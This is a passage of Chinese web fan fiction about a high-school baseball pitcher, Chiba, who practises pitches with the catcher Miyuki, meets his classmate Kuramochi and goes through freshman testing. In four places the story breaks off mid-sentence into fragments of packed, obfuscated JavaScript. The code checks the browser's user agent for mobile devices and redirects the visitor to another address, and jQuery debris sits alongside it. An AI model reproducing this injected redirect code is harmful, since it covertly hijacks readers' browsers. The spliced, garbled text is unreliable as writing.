“真的吗?高岛老师。”听到这话的千叶两眼放光,“监督对我的惩罚是不是结束了?我是不是以后也不用跑步了?” “这个嘛……”高岛老师笑了笑,“要你自己去问过片冈监督才可以哦。” 千叶想到监督那张可怕的黑涩会脸,浑身打了一哆嗦:“……还是等我反省好了再说吧。” 虽说以后的生活不知道能不能跟跑步离婚,但现在的千叶还是很开心,因为今天他能投球了。简直是正打瞌睡来了枕头,昨天才因为不会投变化球被克里斯前辈拒绝,今天就来了练球的机会。 千叶很开心地跑到正在跟不知道名字的打者练球的川上旁边,喜滋滋地问他:“川上,我们的接球网在哪?” “欸?你可以练球了吗?”川上放下了正准备投球的动作。 很长时间没见到千叶,川上对他的心理阴影已经过去了,现在看到千叶只是把他当成比较熟的同期。 他听到千叶可以投球了有点惊讶,然后给他指了仓库的方向:“好一点的球网已经都搬出来了,你去那边仓库看看那边,里面应该有旧的。” “啊……旧的……”千叶肉眼可见地失落。 川上安慰他:“我们现在连二军都不是呢,旧的也不错了,将就一下吧。” “喂,川上!投球过来啊!”二军跟川上练习打击的前辈在催促他了。 “啊!是!”川上赶忙回过头回答道。 见状,千叶不再打扰川上,老老实实地拖着脚挪到仓库。 千叶用力推开生锈的门,混着霉味与旧木头的不明粉尘扑面而来,呛得他下意识偏头捂了捂鼻子,视线落下去,底下的灰尘一脚踏下去都能领域展开。 千叶:“……”这鬼地方是多久没人进来了啊。 仓库里堆着不少杂物。 东倒西歪的旧纸箱占了大半空地,上面印着模糊的“棒球”、“手套”的字样,旁边还有几个跟破铜烂铁差距不大的架子,架子角落里堆着几个瘪掉的棒球,还有几根断了的球棒。 千叶嫌弃地在里面翻翻找找,终于在角落找到两个网兜有大洞、完全没法用的球网。 绝望的千叶:“……” “想练球但没有人接球吗?” 正在千叶一筹莫展之际,他听到自己身后忽然传来一个熟悉而又欠揍的声音。 千叶一转身,果然看到可恶的御幸一也那张笑嘻嘻的脸。 “我可以帮你接球哦~” 他听到可恶的御幸这样说道。 13.练习 “砰——” “砰——” 千叶慢吞吞地跟着御幸走到牛棚里。路上听到此起彼伏的球砸进捕手手套的声音。 他不知道的是,从b球场的记录室里能清晰地看到牛棚里的场景,而现在老师正在对他们进行观察。 高岛老师翻着助教递过来的记录表:“这一届有三位投手,川上宪史,川岛谦吾,还有千叶一郎。 从特招表现来看,千叶同学是其中实力最强的,川上同学也不容小觑。” 片冈监督听到这话并没有说什么,只是头转向太田部长问:“听说川上最近在练习滑球?” 太田部长赶忙道:“是的,去年秋天就开始准备了,开学经过跟捕手的磨合训练,控球虽然还不算稳定,但基本能投到好球带。” “嗯。”片冈点头道,“开学不久就是红白赛。他们的表现将决定他们的位置。” 记录室外,御幸跟千叶走到了牛棚。 虽然千叶不怎么情愿,但他总体上并不是感情用事、不顾大局的人。他想让克里斯接球,不意味着不接受其他捕手。现在最重要的事提升自己,没有办法用球网自己练习,有个现成的捕手找上门,主动邀请,何乐而不为? 当然,主要是御幸长得很帅,虽然性格太坏了,人也非常讨厌,但毕竟是个帅哥,让他接球千叶表示还行,勉强自己也不是不能接受。 牛棚里,川上正在跟一个不认识的捕手练习,还有一个不认识的投手正在跟一个不认识的捕手前辈练习。千叶定睛一看,那个捕手前辈在招生测试时给他接过球。 千叶又开始纠结要不要跟前辈打招呼。前辈现在看起来很专注,但如果不打招呼被发现的话会不会被当成是没有礼貌?打招呼的话,他又想不起来这个前辈叫什么,明明克里斯前辈不久前才跟他说过。 御幸就没有这方面的纠结,径直走到捕手的位置蹲下,看千叶还在往旁边看,向他砸砸手套提醒他往这边看。 “哦。”原来不用打招呼吗?千叶点点头对御幸道,“我想练滑球。” “可以,先投几颗直球热热身吧。” 御幸蹲在他前面,向他张开手套。 “砰——”内角高。 “砰——”外角高。 “砰——”外角低。 控球真的很准啊,而且很有威力。御幸心中夸了千叶一下,然后举起戴着护具的左手示意他暂停。 “怎么了?不是说要陪我练球吗?”千叶收起已经调整好握球姿势,瞥一眼走到他旁边的的御幸。 御幸没有在意他的表情,只是双手抱胸,眉梢微挑,目光地落在千叶手里的棒球上:“千叶,为什么要先学变化球?你现在投的都是四缝线直球,为什么不试着投二缝线直球和变速球呢?这两种球学起来比变化球更容易,如果追求没那么容易被打者打出去,这两种球也更方便配球吧。” 千叶目光有点游移,指尖无意识地抠了抠棒球上的缝线,难得带了点底气不足地别别扭扭:“我会投二缝线直球,也会投变速,但控球不怎么样,没办法投到九宫格,顶多能投到四宫格。” 他是真的不想投控球不怎么样的球啊,一但投不好轨迹就丑丑的,还容易被打出去,而且他确实练习这两种球不算多啦,投球投多了胳膊也是会累的,他能让四缝线直球控球稳定就很不错了…… 千叶心里是什么想法,御幸不知道,但御幸心里也在吐槽:说得好轻松,你以为投到四宫格很容易吗?这有什么好别扭的啊!真是完全不懂在想什么! 不过,不管心理怎么想,御幸面上依旧带着淡定从容地笑容:“那你投给我看看,放心,我肯定会接住的。” “不想投,”千叶这下倒是能干脆利落地拒绝,“不精准的控球投出来的轨迹不稳定。” “啊哈,是担心球被打出去吗?”御幸拖长语调,故意激他,“我的配球不会让你被打出去的,你投给我看一看嘛。总不能……是你不敢投吧?” 推测完全错误!千叶在心里憋屈地反驳。不想投,纯粹是因为那些歪歪扭扭的轨迹实在太丑了,跟会不会被打出去一点关系都没有!跟敢不敢投也没关系! 但千叶只是白了御幸一眼,抬抬下巴,不屑道:“激将法对我可没用。” “而且你怎么敢肯定你的配球不会让人被打出去?”千叶迅速转移话题,“投手投出的球,哪有不会被打出去的?就算是世界第一的投手也会被击出安打,投手要做的是尽可能少失分。” “说起来倒是一套一套的嘛。”御幸嘿嘿揶揄,“我会尽量、尽量不让你的球被打出去,但你的球要是投得太甜或者投不到我想要的位置,那就没办法咯~” 这家伙怎么每句话都这么欠揍!千叶觉得牙痒痒。他实在不知道御幸在想什么。他对御幸这种心眼多的人一向最苦手了,总觉得一不小心就会被坑到,偏偏他又是捕手,长得还帅。 可恶的御幸!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968422|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 千叶生气。 他干脆不跟御幸争辩了,连眼神都懒得给他,抬手指了指捕手蹲捕的方向,下巴微微一扬,语气硬邦邦:“不是说要我投二缝线和变速球吗?赶紧回你的位置去,我要投球了!” “是,是。”御幸转身慢悠悠地走回捕手位,蹲下身时还不忘扬声道,“投一个二缝线直球,投到红中就好,这里总能投得到吧!” 千叶深吸一口气,心中忽略御幸的挑衅。 投球是一项需要心态的运动,不仅仅是姿势,只有身体和心理同时达到协调,投出的球才会完美。 千叶闭上眼睛,等他再睁开,他的手已经调整好了握球姿势,手指对准二缝线的位置,左臂自然向后摆动。下一秒,棒球破风而出,带着凌厉的势头直奔捕手手套,在即将进入手套的瞬间,突然向左打者胸口的方向猛地平移,还伴着轻微的下坠。 御幸手套一移,稳稳接住球,指尖传来的震感比四缝线更强烈。 千叶是左投,投出的二缝线快速直球,在本垒板前会向?左打者胸口的方向?产生?平移?,同时伴有?轻微下坠,因为身高够高,球垂直落差够大,加上球速快,从本垒板方向看来几乎有点伸卡球的下沉轨迹。 “二缝线很有威力。”御幸夸了一句,将球扔给千叶忍不住道,“为什么不学伸卡球?这对你来说应该比学滑球更简单吧?” “伸卡球的控球比滑球难多了,而且我的二缝线直球够用,所以想学一种更有威力的球。”千叶说。 居然意外地很有上进心吗?御幸愣了一下。“还真是看不出来……” “看不出来什么?”千叶歪头。 “没什么。” 千叶没理会他的心思,只是继续调整投球姿势:“下一个,变速球。” “可以。投到这个位置。” …… 练球的时间过得很快,御幸把他会的球种都看了一遍,然后没投几个滑球,就让他做了收操。 “今天投球投得够多了,投滑球对胳膊的负担大,还是要慢慢练嘛。”御幸嘿嘿一笑。 千叶总觉得有点被御幸坑到了,但又觉得他说得没有什么问题。 就抱着这样想不通的心情,千叶迎来了他短暂的假期,骑着自行车,带着行李回到家他才反应过来—— 御幸,那家伙明明说是陪他练滑球,最后倒是自己把想的球看完了…… 被他坑到了啊!可恶的御幸! 14.开学第一天 在跟御幸练球后的第二天,在阳光明媚,惠风和畅的日子,青道开学了。 排队进入大礼堂,听完学生代表发言,参加完入学典礼,千叶告别了跟他一起来参加典礼只为录下“人头密密麻麻、找不到自己儿子在哪儿的,儿子的开学第一天”的老爸老妈,成功随着人流找到了自己的班级。 一进门,千叶眼睛下意识想往班里同学的脸上瞄,又想到刚刚他才被老妈叮嘱,要跟班里同学好好相处,不要以貌取人。千叶悻悻地把眼神收回来,低着头规规矩矩地研究了一会儿门口的座位表,走到自己的座位,老老实实坐下。 千叶没注意到,在他坐下不久,就有一个深绿头发、倒八眉的男生走进门,走到刚刚他站的位置看了一眼座位表,又一挑眉毛朝他看了一眼。 于是在他坐好把包塞进桌洞后,抬头就看到一个绿头发的同学肩上拎着包朝他走过来。 千叶不知道这是什么情况,眼看他越走离他越近,在他面前站定停下来。 走近千叶才发现这人意外地五官不赖,身材也挺好,就是气质有点凶巴巴的,像不良少年,不在他的好球带上。 而且这个黑得发绿头发……怎么有点眼熟呢。 千叶想了半天没想到在哪里见过这人。不过鉴于他对于颜值水平处于中等左右的人记忆一向不太深刻,不排除他是在哪见过现在忘了。 所以这位同学找我有什么事情吗? 千叶疑惑地看着绿头发在他面前站定。 他冲绿头发眨眨眼,绿头发面无表情看着他。 两人对视,谁都没有说话。 过了几秒,绿头发忍不住敲敲他的桌子提醒:“喂,你,坐错位置了,这个位置是我的。” “欸?”千叶反应几秒。 “欸!”千叶赶紧站起来,把刚刚塞进书桌的书包拿出来,给绿头发让地方,“不好意思!” 绿头发看了千叶一眼,走到千叶让出的位置,放下书包,又看了他一眼。 千叶被他看的有些莫名其妙,但又福至心灵地准确从他眼睛里读懂了他的意思——你一点不疑惑一下就直接搬东西走人了?我看上去很可怕吗? 不不不,不要怀疑自己,这位同学,你没什么问题,只是这个排位我没在这儿上过几天学确实有点搞不懂。千叶想。 不过他没跟这位同学搭话,跟川上搭讪的前科还历历在目,他实在是不想把他那匮乏的社交技巧用在这个看起来脾气不大好的同学身上。 毕竟他不能像打川上屁股那样打这位同学的屁股,敢这么做他肯定会被面前这位同学揍一顿吧! 千叶拿着包,准备转身往门口贴的座位表那里走,他寻思得好好研究研究这个座位表是怎么排的,别二年级分班的时候又来一出。 “喂,你……”身后的绿头发却叫住了他,皱着眉似乎想要说什么。 听到动静的千叶收回的视线落回他身上。可绿头发最后又没说,只是张了张嘴问道:“你叫千叶一郎?” “欸?嗯。”千叶有点惊讶。 他知道自己的名字,莫非他们俩真的见过?在哪认识? 不好。他一点也想不起来了。 绿头发听到千叶回答,指了指他身边的空位,低头把自己的包塞进自己书桌,道:“座位表上你坐我旁边这个位置。” “噢,谢谢你。”千叶惊讶了一下,没想到这个长得坏坏的同学居然是个好人。 “嗯。”绿头发点点头,低头简单整理着自己的东西。 千叶走到他身旁的空位坐下,把书包塞进桌洞,发觉旁边的绿头发的视线一直瞥他。 千叶对别人的视线还挺敏感的,但他想不明白这位同学为什么一直看他。 莫非这人也是个外貌协会,被我的美貌迷住了? 千叶凝重地摸了摸自己的脸。 虽然我知道我长得帅,但被一个男生这么盯着就是另一回事了。要提醒他吗?还是不了,假装什么都没发生好了,万一让他尴尬怎么办。他是同桌,我还是想跟周围人搞好关系的。 我要做一个体贴的人。 千叶这样想着,克制住自己回望过去的欲望,若无其事地从书洞的书包里拿出漫画书。 等了好久,等到旁边桌的人已经拿出漫画开始娱乐,再没有下文,盯他半天的绿头发同桌终于忍不住了,指节“砰砰”敲敲他的桌子。 千叶疑惑转头,就看到绿头发倒八眉一脸不可置信加“你怎么这样”的表情怒视他:“喂!你不该问一下我叫什么吗?” 不好,我给忘记了。千叶心中大惊。 果然是因为痞帅男孩这一挂的长相不在我的好球带吗?打过招呼居然忘了问他的名字!这可太失礼了,刚刚他还帮过我来着!所以他一直盯着我看是这个原因吗? “啊,实在不好意思,你叫什么名字啊?”千叶用尽毕生最真诚的眼神看向他。 绿头发眉头皱得更紧了,显得他更加凶巴巴,正在他想说什么的时候,另一边距离他们不远的地方,忽然传过来一声似是终于忍不住的“噗!”的嘲笑。 绿头发猛得一扭头,瞪向笑声传来的方向,千叶顺着他的眼神看过去,跟一个棕色头发戴眼镜的男同学对视上了。 男同学看到他们两个同时向他看过来,边噗噗笑边忙摆摆手:“没事,没事。” “……御幸一也?”熟悉的声音,熟悉的笑容,千叶突然觉得一阵头痛。 可恶的御幸怎么也在这个班! 这家伙可是昨天才坑了我啊! 为什么今天又见到啦!不是冤家不聚头也不是这么个聚法的啊! 旁边绿头发眉头拧成一个疙瘩,直接把他的心声说出来了:“御幸?你怎么也在这个班?” 千叶扭头看向他,这个语气这个神态,像也被御幸坑过。 “啊,可能是因为班级是按成绩分的吧,所以我们三个就在一个班咯。”御幸无所谓地耸耸肩。 千叶恍然大悟:“欸,原来御幸你看起来很聪明的样子还戴眼镜,成绩也这么差!” 绿头发怒了:“不要骂御幸的时候把我们都骂进去啊!你这家伙!” —— 开学第一天,千叶跟附近的同学们算是熟悉了。 这个“附近的同学们”单指一个人——绿头发同学。 “所以你果然不记得我的名字啊,我叫仓持洋一。” ——在一通折腾后千叶终于知道了同桌绿头发同学的名字。 “啊,我对你的名字有印象。”千叶一敲拳头,忽然想起来了,“是那个自我介绍时特别长篇大论的人。” 仓持:“……” 仓持手指几乎要戳到千叶的额头上,咬牙切齿地恼怒:“是啊!我在自我介绍的时候都那么长、篇、大、论了,你居然还没有记住我的名字!” “自我介绍那么多人我记不住不也很正常嘛……”千叶被他吼得缩缩脖子,弱弱地嘀嘀咕咕,“你记得住我的名字我才觉得奇怪呢……” “你不知道吗?”闻言仓持倒是收起了那副凶神恶煞的样子,斜着眼睛看他,“现在棒球部大概没有不认识你的人吧。” “欸?” “所有人都知道你被监督罚是因为记不住国中少棒的名字,说你真是目中无人,还有人打赌你会不会直到上场比赛都不认识身后的守备……今天一见,你倒是真的跟传闻里一样嚣张。”仓持抱胸抬起下巴睥睨地瞪着千叶,凑近他,眼神里带着威胁,“先说好,如果你过几天就把我忘了的话,我是不会在你身后守备的。” 千叶脸色忽然变了:“你是怎么知道这件事的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973457|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?”仓持一下没反应过来,但他很快明白了千叶是什么意思,重新坐回位置上,“几乎所有的同期和前辈都知道你是因为记不住国中少棒教练的名字和队友被罚了吧。你难道没感觉到有人在你跑步的时候对你指指点点吗。” 千叶脸色更难看了。 被人指指点点什么的他已经习惯了!记不住国中少棒队的名字,对他来说也不是很大的事! 但这件事如果变得人尽皆知,那影响就很不好了。即使是他千叶一郎也是会心虚的,片冈监督肯定不会把这件事乱说,那么只剩下了一个人—— “御幸一也!” 千叶一拍桌子站起来,把仓持吓了一跳。他眼看着千叶大步流星朝御幸走过去,从他的角度还能看到千叶本就偏白的肤色,现在更是从头顶红到脖子根——气的。 旁听多时的御幸见状举双手投降:“喂喂,这跟我有什么关系啊。” “我只告诉了你一个人啊!”千叶扯着御幸的领子,气愤地把他晃来晃去。 “真的假的哈哈哈、那个我点急,我先去趟洗手间。” …… 开学第一天,悲剧的事件不只一件。 虽然他们是个后进班,但后进班也不是不学习,在上午听了班主任开会、打扫完卫生、领了课本以后,青道开始正常上课。 下午第一节,正是最困的时候,上的是他最不喜欢、成绩最差的国文。 然而令人没想到的是……他们班的国文老师居然是片冈监督! 他的国文是体育老师教的!这是什么鬼故事!本来他的国文就够差了,每次上课都像在催眠,这下上课连觉都不敢睡了。 “完蛋了。”在片冈监督走进教室时,千叶听到他的同桌的仓持,说出了他的心声。 千叶心想他跟仓持同学还挺有默契的,他总能当上他的嘴替。 上课的时光相当无聊。片冈监督讲课讲得大概还不错,黑板上的粉笔字写得整整齐齐,还有同学时不时点头应和,千叶一句也听不懂,落到他耳朵里全变成了嗡嗡作响的催眠白噪音。 上过课的学渣都知道,这个时候,睡觉根本不是自己能控制的—— 春风和煦无比的下午,暖融融的阳光照在一个完全看不懂的天书上,迷迷糊糊的大脑指挥身体……啊,不小心把笔碰掉了,弯腰一捡,一低头,眼睛自然而然就闭上了。 就算是片冈监督,也不能阻止他上课睡觉。 所以就这样,千叶睡了一节课,直到下课铃声把他吵了起来。 然后一抬头—— “千叶,下课来我办公室一趟。” 跟讲台上眼神犀利严肃的片冈监督对视后,他听到他对他说了这样一句话。 完蛋了。死期就在今天了。千叶想。 为什么你就这么控制不住自己啊千叶一郎!为什么要在片冈监督睡觉啊!你不知道后果的吗!就算是觉多,睡觉也得分场合啊!你平常不是龟毛到连床品都要嫌弃地挑三拣四嘛!这个时候居然睡得这么香…… 该死! 千叶痛苦抱头,觉得世界一片黑暗。 “片冈监督课上看了你好几次。他的课,还是第一节,你都敢上课睡觉……你胆子真大啊。”仓持用十二分吃惊加敬佩如同看待勇者的目光看着他。 “这种情况还敢睡觉,这已经不是单纯的胆子大了,这根本是蠢了吧!说不定会被罚到今年一年都上不了场了呢~噗噗噗。”上午才被千叶逮到厕所修理一顿的御幸,此时毫不留情地嘲笑。 千叶生无可恋,脑子里全是上一个周被罚跑的阴影:“我要去办公室了……” “去吧去吧,祝你活着回来。”御幸幸灾乐祸挥挥手。 “如果你被监督打死了我会替你收尸的!”仓持终于忍不住喷笑道。 15.棒球日记 千叶低头跟着片冈监督走进办公室。 监督对面的桌子前还有几个老师,见千叶忐忑不安地走进来,多看了他几眼。 千叶不敢看监督脸上是什么表情,等片冈监督在他面前一坐下,还没开始训话,他就开始鞠躬道歉:“片冈老师对不起!不应该上课睡觉,我保证以后好好听课。” “我的课很无聊吗?”千叶低着头,不知道监督脸上什么表情,但他听他现在的语气倒是挺平静的,所以千叶鼓起勇气抬头看了一眼。 片冈监督的办公室跟他想的不大一样,没有那么阴森恐怖,阳光透过窗户斜照进来,在地板上投下的窗帘的影子,不仅不恐怖甚至显得还有点暖洋洋的。办公桌上整齐地罗列着战术手册和备课笔记,钢笔尖插在红墨水瓶里。 片冈监督也没有他想得那么可怕,脸上也不是生气的表情,只是眼神很犀利。 千叶赶快又把头低下去了:“不是的,是我听不太懂国文课,所以忍不住。” “不太懂?” “嗯,”千叶硬着头皮解释,“认得字,但连在一起就不太懂是什么意思……” 没法办,他以前是在美国上学的啊,哪个说英语的老师会教俳句古诗和阅读理解啊!他已经很努力地上过补习班了,奈何这门课靠的是积累,他这样识两个字也跟文盲相差不大的学渣,学习起来真的很困难啊…… “因为听不懂就放任自己睡觉?” 片冈监督冷漠的声音让千叶心头一紧,急忙保证:“我一定好好学习端正态度!绝对不会不及格。” “嗯,”片冈监督也不知道是满意还是不满意,只是淡淡地问起了另一个问题,“之前的事反省得怎么样?” “欸,反省……”千叶茫然了一瞬。 啊,好像完全忘记了。 记不住国中少棒、记不住教练队友什么的……因为不知道反省什么所以压根没有反省…… 其实他刚开始还记得要想点什么假装反省的话,争取监督的原谅,后来被周围人卷到了,又被克里斯拒绝接球,脑子里就只记得练滑球了。 所以这个时候应该怎么办。 千叶硬着头皮开始编:“我……我一定会好好记住队友的名字,也会记得监督和老师的名字,努力融入集体……”没两句额头冒汗,结结巴巴,编不下去了。 啊,我真是一个差劲的演员,每次这种情况都不会瞎编台词。千叶绝望地想。 监督看了他一眼:“这几天你认识了几个队友?都是谁?” 出题终于出了一道会的,千叶精神了一点,扒拉手指开始数:“克里斯前辈,御幸,仓持,川上,丹波前辈,菅田前辈……”还有谁来着?那个长得一般的捕手前辈,那个打击特别厉害的学长,他们都叫什么来着? “还有……还有……有几个前辈我也说过话。”千叶最后半天没憋出名字。 监督没做什么评价,也不知道满不满意,只是递给了千叶一个笔记本。 千叶急忙双手接过,监督的话就在他耳边响起来:“你的前辈们都会写棒球日记,你们不久后也要写,我希望你能从现在开始,每天至少记录一位你身边的同伴,姓名爱好,不得少于一百词,越详细越好,每个周单独交给我。 你做的认真程度决定了你下个周能不能参加训练。” “是!我一定认真写!”千叶差点流出了“感动”的泪水——让学渣写作业还不如让学渣去死呢。 回到教室。 “呦,活着回来了。” “监督居然放过你了,他原来没有看上去那么可怕啊。” ——千叶的两个队友对他表示了热烈欢迎。 生无可恋的千叶此时并不想搭理围着他幸灾乐祸的仓持和御幸,把本子放下,就趴在桌子上假装自己是一具安详的尸体。 “这是什么?”仓持发现了千叶出去一趟,回来身上多出来一个东西,拿起本子翻来看了看。 千叶还趴在桌子上,声音闷闷地传出来:“监督给我布置的作业。让我每天跟踪偷窥一个队友,把他的日常记下来。不认真记不允许训练。” 御幸:“……片冈监督原话肯定不是这么讲的吧。” 千叶从桌子上爬起来,把笔记本从仓持手里抽回来,无神的双眼冒出要死不活的火焰:“正好,就从你们两个开始吧。” “别这么自说自话啊喂!” 回到寝室。 菅田正坐在书桌前用刷子擦手套,听到身后传来开关门声后,又是一阵沉重的脚步声,他动作顿了顿,却没回头,只是背脊挺得笔直。 他听得出来,这是千叶回来了,心情非常不好。 菅田前辈还在单方面跟千叶冷战,虽然已经在叫学弟起床上小小地报复过学弟,但菅田是个小心眼前辈,他还是决定不原谅千叶这个几次三番暗戳戳折腾他的后辈,所以此时此刻,菅田决定不要跟千叶讲话。 管他难受不难受!关他什么事!他只是前辈又不是老妈子! 不管闲事!菅田如此想到。 但千叶完全不知道前辈的想法,在屋子扫视一圈发现一个活人,张口就问:“菅田前辈你的爱好是什么?” “……什、什么玩意?”菅田受宠若惊又觉得惊恐地放下手套扭头看过去。 身后的千叶一脸坚定。 “监督交给我的任务。”面无表情的千叶举起手里的笔记本解释,“监督说,让我每天记录一位队友的信息,写满一百字,不然下周不让我参加训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983591|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练!” 菅田终于忍不住露出大仇得报的大笑。 在前辈嘲笑和落井下石中,千叶终于忍辱负重地记完了他的生平事迹,准备收拾东西出去洗漱的时候,菅田却忽然叫住了他。 “千叶。” 千叶向菅田看去,他收起那副欺负学弟的嘴脸,拿着软毛刷的手轻轻擦着手套的缝线处,表情平淡得看起来甚至有点靠谱了。 因为他这个表情,千叶重新坐了回来。 “你知道开学后不久,你们新生要入队做测试吗?”菅田头也没抬,淡淡道。 千叶愣了愣,下意识皱起眉:“不知道。招生测试的时候不是已经测过一遍了吗?” 普通的选手能力测试还需要进行那么多遍吗? 一般人也不会在短短一个周的时间里进步多少吧。 “青道是棒球名校,”菅田终于抬眼,目光扫过他困惑的脸,“但每年都有一般入学考试进来的学生因为兴趣想加球队,所以统一测试要放在开学后。不管之前有没有测过,到时候都得重新记录数据。” 这话里的信息像颗小石子一下砸中头顶,千叶忽然有点明悟:“也就是说春训的时候没见过的人,会在那时候入队?” 没见过的人,等于可能出现的帅气的队友,等于他的作业内容。 片冈监督肯定希望他不要像完成任务那样随便写写周围的人,他希望他能主动接触队友,所以新队友也是他的目标。 “嗯。”菅田漫不经心应了声,又低下头去擦手套的掌心处。 “那我们什么时候开始测试?” “大概一周后吧。”菅田的声音混着毛刷蹭过皮革的沙沙声,“等过个两三周,你们这群新生磨磨蹭蹭混熟了,还会有场红白赛。” “红白赛?”千叶的眉峰又拧起来。 “你小子还真是啥都不知道啊。”菅田放下毛刷,叹了口气,“红白赛就是你们一年级菜鸟,跟二军的前辈们打比赛。教练让你写周围人的观察报告,估计也是想让你早点跟队伍熟络起来,省得到时候上场连后背队友的名字都不知道。” 所以他不记得以前队友教练少棒队名字这件事算是过不去了吧! 千叶心中愤怒摔锅,外表一片平静:“所以……我应该从一年级的队友开始熟悉?” “也不是非得这样。”菅田挑了挑眉,“从隔壁寝室开始也成,正好他们三个现在都在。” “……”千叶的脸瞬间垮了下来,嘴角肉眼可见地往下撇。 “喂,摆着张苦瓜脸干什么?你得罪过他们吗?怎么这么抗拒!” “没什么。”千叶抗拒地把头扭到一边去。 因为隔壁的无论前辈还是同期,都长得很难看啊! 16.测试日常 又是新的周一了。 据说今天下午要新生测试。 但是吧,千叶还有一项任务—— “叩叩叩——”千叶怀着忐忑的心情敲了敲门。 “请进。”片冈监督的声音从办公室里面传来。 千叶推门进去,办公室里,片冈监督坐在办公桌前看大家的棒球日记。 千叶一眼就看出来了,监督手里拿的正是他的那一份,尤其还时不时还皱着眉头拿钢笔做个批注,这让现在站在旁边的他非常紧张。 千叶偷偷抻着头看过去,还没看到批语,一眼望去,全是改完错别字和语法错误。 千叶:“……”千叶赶快把眼神移到一边去了。 只要没看见,就能装作不知道! 片冈监督看了千叶一眼,指着密密麻麻的批注中的一大行分段问:“为什么这里外貌描写这么多?凑字数吗?” “……”千叶张张嘴,又闭上了,声若蚊蚋地哼哼,“是的。” 这句话,是假话。 实话是只有那个外貌描写是他的想写的东西,剩下的“爱好啊”、“习惯啊”、“爱吃啥爱喝啥”……内容,全是别人口述他记录。 虽然他也很想实话实说,说什么:脸跟身材可是组成人最重要的部分了,对别人的第一印象就是看脸啊看脸,连这部分都忽略了,我根本没办法表达对别人的感受啊!——但很明显,如果他真这么说了,他也是真的会被片冈监督教训的。 “嗯,写得倒是挺有真情实感,但是没必要。”片冈监督显然对面前学生的文化水平有点头疼,“……把这一段外貌描写删一删,如果不知道写什么,就去问他们在棒球部里的目标、努力的方向。” “是!” “还有,把那些错别字语法错误什么的,都改好。” “……是。” …… 下午进行新生测试。 新生测试内容跟招生测试不太一样,除了投手测试的内容,千叶还需要进行身高体重的登记造册和打击能力、守备能力之类的测试。 投手测试还是老三样,投距、准度、球速。新来的队友似乎没有投手,投手测试的时候还是只有他、川上、还有那个不认识的投手同学。 但测试的结果就比较意外了。 “千叶,你的球速似乎涨了。”漂亮的经理在记录完他的数据的时候对他道,“现在你的平均球速在146km/h。” “欸?我没有很用力啊。”千叶有点惊讶。 球速这种东西涨起来似乎不算太容易,或者新手投球的时候会因为投球姿势的规范固定,球速会迅速改变,剩下的球速增长全靠肌肉量的堆积、投球细节的优化,还有爆发力的训练。 像他这样的投球姿势相当稳定的投手,除非是靠训练量堆上去不断强化下肢和核心,或者身体有了发育,否则是没那么容易涨球速。 难道是因为这两天训练量提上去了,我的下肢更稳定吗?千叶想。嗯,也可能是我长个了,毕竟我还在生长期嘛。 球速的上涨让千叶的心情好了很多。 “没用力球速还快了就有进步了,”经理笑着问他,“胳膊感觉怎么样?” 千叶动了动胳膊:“胳膊感觉还不错。” “嗯,那就好,你可以去进行打击测试了。” “哦。” 轮到打击测试。 投手测试的好表现,显然跟打击测试发挥的怎么样没有任何关系。 打击测试是非常典型地发球机击球测试,给每人十个球的机会,看打者能击中几个,打击质量怎么样。 恰好,千叶是那种手里拿的木棒、打击时很爱走神、又非常不会抓发球机的发球时机的打者。 所以…… “乓——” “乒——” “乒——” 记录打击数据的助教一边叹气一边摇头。 虽然每一球都击中了,但没几颗球打中球心,所以打击声音非常不好听。 “下一位!” 随着助教高声喊下一个人进场打击,千叶拎着球棒走下打击区,不由得垂头丧气。他的眼神非常一般,选球不怎么样,平常站在打击区,打击一半是靠猜捕手配球,一半靠观察投手。打发球机嘛,它连个人都算不上,他打得自然就很差劲了。 “主要是挥棒速度一般。”千叶心情不算太好地挥挥手里的球棒。自从国中回到日本后他就没有练习过挥棒,果然,不练就水平下降,现在他挥棒的速度真是被他老爸看到会让他嘲笑一个月的程度。 难道要把打击也提上日程吗?算了,投手不看打击,还是等滑球练好了再说吧。千叶想。 接下来是跑垒测试。 排在他前一个的是仓持。 刚到跑垒场地边缘,他就听到了了仓持的“咦哈!”然后看到他像一阵风一样,结实的小腿蹬地,瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990520|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间从本垒窜到三垒。 